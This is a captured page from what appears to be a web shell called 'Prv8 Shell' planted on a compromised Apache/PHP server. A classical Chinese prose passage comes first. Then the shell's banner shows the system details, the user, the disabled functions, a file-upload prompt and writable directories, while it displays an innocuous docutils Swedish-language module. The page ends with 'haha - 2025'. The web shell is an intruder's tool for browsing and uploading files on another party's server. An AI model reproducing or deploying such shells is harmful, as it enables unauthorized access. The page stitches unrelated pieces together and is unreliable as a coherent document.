晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/docutils/parsers/rst/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/docutils/parsers/rst/languages/sv.py
# $Id: sv.py 9030 2022-03-05 23:28:32Z milde $
# Author: Adam Chodorowski <chodorowski@users.sourceforge.net>
# Copyright: This module has been placed in the public domain.

# New language mappings are welcome.  Before doing a new translation, please
# read <https://docutils.sourceforge.io/docs/howto/i18n.html>.
# Two files must be translated for each language: one in docutils/languages,
# the other in docutils/parsers/rst/languages.

"""
Swedish language mappings for language-dependent features of reStructuredText.
"""

__docformat__ = 'reStructuredText'

directives = {
      'observera': 'attention',
      'akta': 'caution',  # also 'försiktigt'
      'kod': 'code',
      'fara': 'danger',
      'fel': 'error',
      'vink': 'hint',  # also 'hint'
      'viktigt': 'important',
      'notera': 'note',
      'tips': 'tip',
      'varning': 'warning',
      'anmärkning': 'admonition',  # literal 'tillrättavisning', 'förmaning'
      'sidorad': 'sidebar',
      'ämne': 'topic',
      'tema': 'topic',
      'rad-block': 'line-block',
      # 'tolkad-bokstavlig'?
      'parsed-literal (translation required)': 'parsed-literal',
      'rubrik': 'rubric',
      'epigraf': 'epigraph',
      'höjdpunkter': 'highlights',
      'pull-quote (translation required)': 'pull-quote',
      'sammansatt': 'compound',
      'container': 'container',
      # 'frågor': 'questions',
      # NOTE: A bit long, but recommended by http://www.nada.kth.se/dataterm/:
      # 'frågor-och-svar': 'questions',
      # 'vanliga-frågor': 'questions',
      'tabell': 'table',
      'csv-tabell': 'csv-table',
      'list-tabell': 'list-table',
      'meta': 'meta',
      'matematik': 'math',
      # 'bildkarta': 'imagemap',  # FIXME: Translation might be too literal.
      'bild': 'image',
      'figur': 'figure',
      'inkludera': 'include',
      'rå': 'raw',
      'ersätta': 'replace',
      'unicode': 'unicode',
      'datum': 'date',
      'klass': 'class',
      'roll': 'role',
      'standardroll': 'default-role',
      'titel': 'title',
      'innehåll': 'contents',
      'sektionsnumrering': 'sectnum',
      'target-notes (translation required)': 'target-notes',
      'sidhuvud': 'header',
      'sidfot': 'footer',
      # 'fotnoter': 'footnotes',
      # 'citeringar': 'citations',
      }
"""Swedish name to registered (in directives/__init__.py) directive name
mapping."""

roles = {
      'förkortning': 'abbreviation',
      'akronym': 'acronym',
      'kod': 'code',
      'index': 'index',
      'nedsänkt': 'subscript',
      'upphöjd': 'superscript',
      'titel-referens': 'title-reference',
      'pep-referens': 'pep-reference',
      'rfc-referens': 'rfc-reference',
      'betoning': 'emphasis',
      'stark': 'strong',
      'bokstavlig': 'literal',  # also 'ordagranna'
      'matematik': 'math',
      'namngiven-referens': 'named-reference',
      'anonym-referens': 'anonymous-reference',
      'fotnot-referens': 'footnote-reference',
      'citat-referens': 'citation-reference',
      'ersättnings-referens': 'substitution-reference',
      'mål': 'target',
      'uri-referens': 'uri-reference',
      'rå': 'raw',
      }
"""Mapping of Swedish role names to canonical role names for interpreted text.
"""

haha - 2025